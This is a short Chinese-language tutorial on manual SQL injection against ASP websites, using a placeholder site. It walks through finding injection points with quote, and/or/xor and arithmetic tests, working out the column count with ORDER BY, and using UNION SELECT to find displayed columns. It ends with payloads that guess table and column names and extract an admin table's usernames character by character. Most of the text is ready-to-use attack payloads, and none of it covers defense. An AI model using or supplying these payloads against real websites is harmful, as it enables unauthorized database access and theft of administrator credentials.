注入简单来说就是利用SQL语句在外部对SQL数据库进行查询,更新等动作。

利用网站链接地址后面提交SQL语句可执行的称之为注入点

 

注入点判断

单引号判断

http://www.xxx.com/xxx.asp?id=10’如果出现错误提示,则该网站可能就存在注入漏洞。

and判断

http://www.xxx.com/xxx.asp?id=10and 1=1这个条件永远都是真的,所以当然返回是正常页

http://www.xxx.com/xxx.asp?id=10and 1=2如果报错那说明存在注入漏洞,还要看报的什么错,不可能报任何错都有注入漏洞的。

Or判断(or跟and判断方法不一样的,and是提交返回错误才有注入点,而OR是提交返回正确有注入点)

http://www.xxx.com/xxx.asp?id=10or 1=1

http://www.xxx.com/xxx.asp?id=10or 1=2

xor判断(xor后面的语句如果是正确的,则返回错误页面,如果是错误,则返回正确

页面,说明存在注入点。)

http://www.xxx.com/xxx.asp?id=10xor 1=1

http://www.xxx.com/xxx.asp?id=10xor 1=2

加减号数字判断(返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞.)

http://www.xxx.com/xxx.asp?id=10-0

http://www.xxx.com/xxx.asp?id=10-1

http://www.xxx.com/xxx.asp?id=10+1

判断数据库

http://www.xxx.com/xxx.asp?id=10and user>0

 

确定字段长度

http://www.xxx.com/xxx.asp?id=10order by3正常

http://www.xxx.com/xxx.asp?id=10order by9出错

联合查询猜字段

http://www.xxx.com/xxx.asp?id=10and 1=2 union select 1,2,3,4,5,6,7,8发现页面文章处出现4,7,于是在4,7上填入SQL语句

 

猜表名 and exists (select * from 表名)

猜列名 and (select count(列名) from 表名)

猜长度 and (select top 1 len(username) from admin)>0

猜内容 and (select top 1 asc(mid(username,1,1)) from admin)>10ascii码1-128